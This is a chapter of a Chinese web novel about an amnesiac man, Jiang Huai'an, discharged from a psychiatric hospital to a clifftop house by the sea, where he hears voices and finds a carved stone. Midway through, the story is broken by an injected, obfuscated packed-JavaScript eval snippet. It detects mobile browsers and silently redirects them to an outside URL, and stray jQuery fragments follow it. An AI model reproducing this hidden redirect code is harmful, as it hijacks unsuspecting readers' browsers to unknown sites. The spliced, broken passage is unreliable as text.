东海市精神病院·出院日
潮声在退去。
江怀安坐在轮椅上，膝盖上放着一个帆布包，里面装着三套换洗衣物、一个塑料水杯、以及出院证明。护士推着他穿过长长的白色走廊，走廊尽头是旋转门，门外是九月的阳光和沥青路面蒸腾的热气。
“你的监护人已经在外面等了。”护士的声音很轻，像是怕惊扰什么。
监护人。江怀安默念这个词。他记得病历上那个名字：海月。一个四十多岁的女人，脸上有烧伤疤痕，眼睛像深海鱼。她说她是他的“远房表姨”，在他失忆后主动申请成为监护人。
旋转门转动，阳光扑面而来。江怀安眯起眼睛，看见一个女人站在车边——正是海月。她今天没穿白大褂，而是简单的衬衫长裤，头发在脑后扎成马尾，疤痕在阳光下显得柔和了些。
“手续都办完了？”海月接过轮椅，声音平静。
护士点头：“药按时吃，每周一次复诊，如果有幻觉或记忆闪回，立刻联系医院。”
“我知道。”
轮椅被推到车边。海月打开车门，没有扶江怀安，只是静静等着。江怀安自己撑着车门站起来——他的腿还在康复，但已经能勉强行走——缓慢地挪进副驾驶座。
车门关上，隔绝了精神病院的气味：消毒水、药物、以及某种无法言说的绝望。
车子启动，驶离医院。江怀安看着后视镜里逐渐缩小的白色建筑，忽然开口：
“我在那里住了多久？”
“三个月零七天。”海月握着方向盘，目光直视前方。
“之前呢？”
“之前你在海上漂着，一艘渔船救了你。你什么都不记得，连自己的名字都不记得。”
江怀安低头看自己的手。手背上有针孔的旧痕，手腕内侧有一道浅疤——病历上说那是他“被救时缠绕的渔网割伤”，但他总觉得那道疤的形状太规整，像某种仪器的接口痕迹。
车子驶过沿海公路。右边是崖壁，左边是海。九月的海是深蓝色的，浪花在礁石上碎成白色泡沫。
“你记得海吗？”海月问。
江怀安静静看着窗外。海水在阳光下闪烁，某个瞬间，他仿佛看见海面下有什么东西在发光——不是鱼群，不是礁石，是某种规则的几何体，像巨大的金属舱。
但那幻象只持续了一秒。他眨眨眼，海面又恢复了正常。
“不记得，”他说，“但我觉得……我应该在海上住过很久。”
海月的手指在方向盘上收紧，指节发白。
车子拐进一条小路，路的尽头是一栋建在悬崖上的白色房子。房子不大，两层，有个面向大海的落地窗。院子里种着耐盐碱的植物，在海风中微微摇晃。
“以后你就住这里，”海月停下车，“我在市区有公寓，每周会来看你一次。生活用品都准备好了，冰箱里有食物，药在床头柜抽屉里。”
江怀安推开车门，海风立刻涌进来，带着咸味和潮湿。他深吸一口气，肺里充满了陌生的、却又莫名熟悉的气息。
海月没有扶他，只是提着帆布包走在前面。钥匙转动，门开了，里面是简洁的装修：原木地板，白墙，家具很少。客厅的落地窗正对着海，潮声透过玻璃隐约传来。
“二楼是你的卧室和书房。一楼有厨房和卫生间。网络已经接通，但——”海月顿了顿，“我建议你少上网。你的大脑还在恢复期，信息过载可能触发记忆闪回。”
“什么闪回？”
海月看着他，眼神复杂：“你会知道的。当你准备好的时候。”
她放下帆布包，从口袋里掏出一个手机：“这是我的号码，紧急情况打给我。还有——”她又掏出一个老式的翻盖手机，没有摄像头，不能上网，只能打电话发短信，“用这个。智能手机会刺激你。”
江怀安接过翻盖手机。塑料外壳，按键很大，屏幕是单色液晶。他翻开盖子，看见待机画面是一片海。
“照片是我拍的，”海月说，“这片海在你被救起的地方往南三公里。那里有个小海湾，潮汐的声音……很特别。”
“特别？”
“你去听听就知道了。”海月转身走向门口，“我明天再来。记得吃药。”
门关上了。房子里只剩下江怀安一个人，以及永不停歇的潮声。
他慢慢走上二楼。卧室很简洁：一张床，一个衣柜，一张书桌。书桌上放着一台笔记本电脑——老旧的型号，没有联网。他打开电脑，桌面上只有一个文件夹，名字是“日记”。
点开，里面是空白的文档。
他关上电脑，走到窗边。从这里看海更清晰了。下午的阳光斜照在海面上，碎金般的光斑随着波浪起伏。有那么一瞬间，他仿佛看见海面上站着一个人——白色的衣服，背对着他，面向远海。
但当他定睛看去，只有海浪和阳光。
他下楼，从冰箱里拿出水，按照医嘱吃了药。药片在喉咙里化开，带着苦味。然后他推开落地窗，走到院子里。
院子里有条
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368521|199845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小路通向悬崖边。他沿着小路慢慢走，腿还有些软，但还能支撑。路的尽头是一个木制平台，有栏杆围着。平台下方就是悬崖，再往下是海。
潮水正在退去，露出黑色的礁石。礁石上有白色的痕迹，那是海盐和贝壳的残骸。
江怀安扶着栏杆，听着潮声。退潮的声音和涨潮不同——更缓慢，更沉重，像某种巨大生物的呼吸。
然后他听见了别的声音。
不是潮声，是人声。很轻，像是从很远的地方传来，又像是直接响在脑海里：
“第一次退潮，你在福利院窗边数雨滴，数到第114滴时，林医生推开了门。”
江怀安猛地转身。
身后没有人。只有空荡荡的平台，和远处白色的房子。
他以为是幻听——病历上写着，他偶尔会有幻听，是创伤后遗症。
但声音又来了：
“第一百一十三次退潮，你在海边，数到第七个浪花时，跳了下去。”
这次声音更清晰了。是个男人的声音，年轻，平静，带着某种疲倦的温柔。
江怀安的手指紧紧抓住栏杆。木头粗糙的纹理硌着掌心。
“谁？”他问，声音在海风中飘散。
没有回答。只有潮声。
但他看见了一样东西——在平台角落的阴影里，放着一块石头。石头不大，拳头大小，形状很特别：像是被人长期握在手里，磨得光滑，一端有个天然的小孔。
他走过去，捡起石头。石头很凉，触感熟悉得让人心悸。
石头上刻着字，很小，要用指尖仔细摸索才能感觉到：
“第101次，我在这里捡到你，握着直到结束。”
落款是一个字母：A。
A？阿星？还是别的什么？
江怀安握紧石头。石头的小孔正好能穿过一根手指，像是可以挂在脖子上。
他抬起头，看向海面。
夕阳西下，海面变成暗红色。在那一大片暗红中，有什么东西在发光——不是阳光的反光，是自内而外的、柔和的白光。
那白光闪烁了三下，然后消失了。
像是某种信号。
江怀安站在平台边缘，海风吹起他的头发。他握着石头，听着潮声，看着那片重归黑暗的海。
然后他轻声说，像是自言自语，又像是对着海面下的某个存在说：
“我回来了。”
海风没有回答。
但潮声，似乎温柔了一些。